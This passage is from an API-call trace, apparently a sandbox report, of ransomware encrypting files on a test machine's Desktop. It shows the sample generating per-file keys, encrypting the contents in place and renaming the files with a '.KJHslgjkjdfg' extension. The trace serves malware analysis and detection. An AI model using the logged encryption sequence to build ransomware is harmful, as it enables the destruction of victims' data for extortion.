lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.135] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.135] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.135] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.135] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa850, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0xa850, lpOverlapped=0x0) returned 1 [0146.136] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xa850, dwBufLen=0xa850 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0xa850) returned 1 [0146.136] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.136] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa850, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0xa850, lpOverlapped=0x0) returned 1 [0146.137] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.137] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0xa924, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.137] SetEndOfFile (hFile=0xc0) returned 1 [0146.138] GetProcessHeap () returned 0x2ef0000 [0146.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.138] GetProcessHeap () returned 0x2ef0000 [0146.138] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.138] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXm 6BZk.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxm 6bzk.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pXm 6BZk.png.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pxm 6bzk.png.kjhslgjkjdfg")) returned 1 [0146.140] CloseHandle (hObject=0xc0) returned 1 [0146.141] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe797a530, ftCreationTime.dwHighDateTime=0x1d62701, ftLastAccessTime.dwLowDateTime=0xe797a530, ftLastAccessTime.dwHighDateTime=0x1d62701, ftLastWriteTime.dwLowDateTime=0xe797a530, ftLastWriteTime.dwHighDateTime=0x1d62701, nFileSizeHigh=0x0, nFileSizeLow=0x3b3, dwReserved0=0x0, dwReserved1=0xffff, cFileName="readme-warning.txt", cAlternateFileName="README~1.TXT")) returned 1 [0146.141] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b18d10, ftCreationTime.dwHighDateTime=0x1d5dfc4, ftLastAccessTime.dwLowDateTime=0xd3b71d30, ftLastAccessTime.dwHighDateTime=0x1d5e3d5, ftLastWriteTime.dwLowDateTime=0xd3b71d30, ftLastWriteTime.dwHighDateTime=0x1d5e3d5, nFileSizeHigh=0x0, nFileSizeLow=0x18a6c, dwReserved0=0x0, dwReserved1=0xffff, cFileName="RrURx8iSROZcD8YdA.bmp", cAlternateFileName="RRURX8~1.BMP")) returned 1 [0146.141] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrURx8iSROZcD8YdA.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rrurx8isrozcd8yda.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.142] GetProcessHeap () returned 0x2ef0000 [0146.142] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.142] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.142] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.142] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.143] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.143] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.143] GetProcessHeap () returned 0x2ef0000 [0146.143] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x50) returned 0x2f15340 [0146.143] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50, dwBufLen=0x50 | out: pbData=0x2f15340*, pdwDataLen=0x4dffc78*=0x50) returned 1 [0146.143] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.143] WriteFile (in: hFile=0xc0, lpBuffer=0x2f15340*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f15340*, lpNumberOfBytesWritten=0x4dffc90*=0x50, lpOverlapped=0x0) returned 1 [0146.143] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.143] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.143] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.143] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.143] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.144] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.144] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.144] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.144] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x18a6c, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x18a6c, lpOverlapped=0x0) returned 1 [0146.145] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x18a70, dwBufLen=0x18a70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x18a70) returned 1 [0146.146] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.146] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x18a70, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x18a70, lpOverlapped=0x0) returned 1 [0146.146] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.146] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x18b54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.146] SetEndOfFile (hFile=0xc0) returned 1 [0146.149] GetProcessHeap () returned 0x2ef0000 [0146.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f15340 | out: hHeap=0x2ef0000) returned 1 [0146.149] GetProcessHeap () returned 0x2ef0000 [0146.149] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.149] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrURx8iSROZcD8YdA.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rrurx8isrozcd8yda.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\RrURx8iSROZcD8YdA.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rrurx8isrozcd8yda.bmp.kjhslgjkjdfg")) returned 1 [0146.155] CloseHandle (hObject=0xc0) returned 1 [0146.155] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1f310, ftCreationTime.dwHighDateTime=0x1d5e174, ftLastAccessTime.dwLowDateTime=0x2ae43a0, ftLastAccessTime.dwHighDateTime=0x1d5dfb4, ftLastWriteTime.dwLowDateTime=0x2ae43a0, ftLastWriteTime.dwHighDateTime=0x1d5dfb4, nFileSizeHigh=0x0, nFileSizeLow=0x4729, dwReserved0=0x0, dwReserved1=0xffff, cFileName="T-BpSbcbjk.mp4", cAlternateFileName="T-BPSB~1.MP4")) returned 1 [0146.155] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-BpSbcbjk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t-bpsbcbjk.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.156] GetProcessHeap () returned 0x2ef0000 [0146.156] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.156] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.156] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.156] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x7, lpOverlapped=0x0) returned 1 [0146.158] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.158] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.158] GetProcessHeap () returned 0x2ef0000 [0146.158] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.158] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.158] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.158] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.159] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.159] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.159] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.159] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.159] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.159] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.159] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.159] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.159] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4729, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x4729, lpOverlapped=0x0) returned 1 [0146.160] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x4730, dwBufLen=0x4730 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x4730) returned 1 [0146.160] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.161] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4730, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x4730, lpOverlapped=0x0) returned 1 [0146.161] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.161] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x4804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.161] SetEndOfFile (hFile=0xc0) returned 1 [0146.163] GetProcessHeap () returned 0x2ef0000 [0146.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.163] GetProcessHeap () returned 0x2ef0000 [0146.163] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.163] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-BpSbcbjk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t-bpsbcbjk.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\T-BpSbcbjk.mp4.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\t-bpsbcbjk.mp4.kjhslgjkjdfg")) returned 1 [0146.166] CloseHandle (hObject=0xc0) returned 1 [0146.167] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe398d00, ftCreationTime.dwHighDateTime=0x1d5e5bd, ftLastAccessTime.dwLowDateTime=0xb709ac60, ftLastAccessTime.dwHighDateTime=0x1d5e570, ftLastWriteTime.dwLowDateTime=0xb709ac60, ftLastWriteTime.dwHighDateTime=0x1d5e570, nFileSizeHigh=0x0, nFileSizeLow=0x127b5, dwReserved0=0x0, dwReserved1=0xffff, cFileName="uBTlPcHy.bmp", cAlternateFileName="")) returned 1 [0146.167] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uBTlPcHy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ubtlpchy.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.168] GetProcessHeap () returned 0x2ef0000 [0146.168] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.168] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.168] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.169] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0xb, lpOverlapped=0x0) returned 1 [0146.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.171] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.171] GetProcessHeap () returned 0x2ef0000 [0146.171] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0146.171] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dffc78*=0x40) returned 1 [0146.171] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.171] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dffc90*=0x40, lpOverlapped=0x0) returned 1 [0146.171] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.171] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.171] WriteFile (in: hFile=0xc0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 [0146.171] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb8 | out: lpNewFilePointer=0x0) returned 1 [0146.171] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffca8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffca8*, lpNumberOfBytesWritten=0x4dffc90*=0x8, lpOverlapped=0x0) returned 1 [0146.171] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.172] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.172] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.172] ReadFile (in: hFile=0xc0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x127b5, lpNumberOfBytesRead=0x4dffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dffc9c*=0x127b5, lpOverlapped=0x0) returned 1 [0146.173] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x127c0, dwBufLen=0x127c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dffc78*=0x127c0) returned 1 [0146.173] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.173] WriteFile (in: hFile=0xc0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x127c0, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dffc90*=0x127c0, lpOverlapped=0x0) returned 1 [0146.174] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.174] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x12894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0146.174] SetEndOfFile (hFile=0xc0) returned 1 [0146.177] GetProcessHeap () returned 0x2ef0000 [0146.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0146.177] GetProcessHeap () returned 0x2ef0000 [0146.177] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0146.177] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uBTlPcHy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ubtlpchy.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uBTlPcHy.bmp.KJHslgjkjdfg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ubtlpchy.bmp.kjhslgjkjdfg")) returned 1 [0146.182] CloseHandle (hObject=0xc0) returned 1 [0146.182] FindNextFileW (in: hFindFile=0x2f11a90, lpFindFileData=0x4dffd20 | out: lpFindFileData=0x4dffd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76ac8eb0, ftCreationTime.dwHighDateTime=0x1d5e4c8, ftLastAccessTime.dwLowDateTime=0xf74ff440, ftLastAccessTime.dwHighDateTime=0x1d5e387, ftLastWriteTime.dwLowDateTime=0xf74ff440, ftLastWriteTime.dwHighDateTime=0x1d5e387, nFileSizeHigh=0x0, nFileSizeLow=0x17e2b, dwReserved0=0x0, dwReserved1=0xffff, cFileName="Wi7Y.flv", cAlternateFileName="")) returned 1 [0146.182] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Wi7Y.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wi7y.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0 [0146.183] GetProcessHeap () returned 0x2ef0000 [0146.183] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0146.183] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0146.183] SetFilePointerEx (in: hFile=0xc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dffcb0 | out: lpNewFilePointer=0x0) returned 1 [0146.183] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffcc0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffcc0*, lpNumberOfBytesWritten=0x4dffc90*=0x5, lpOverlapped=0x0) returned 1 [0146.187] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dffc94 | out: phKey=0x4dffc94*=0x2f14a78) returned 1 [0146.187] CryptSetKeyParam (hKey=0x2f14a78, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0146.187] GetProcessHeap () returned 0x2ef0000 [0146.188] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0146.188] CryptEncrypt (in: hKey=0x2f14a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dffc78*=0x30) returned 1 [0146.188] CryptDestroyKey (hKey=0x2f14a78) returned 1 [0146.188] WriteFile (in: hFile=0xc0, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dffc90*=0x30, lpOverlapped=0x0) returned 1 [0146.188] WriteFile (in: hFile=0xc0, lpBuffer=0x4dffc98*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x4dffc98*, lpNumberOfBytesWritten=0x4dffc90*=0x4, lpOverlapped=0x0) returned 1 [0146.188] WriteFile (in: hFile=0xc0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dffc90*=0x10, lpOverlapped=0x0) returned 1 [0146.188] WriteFile (in: hFile=0xc0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dffc90, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dffc90*=0x80, lpOverlapped=0x0) returned 1 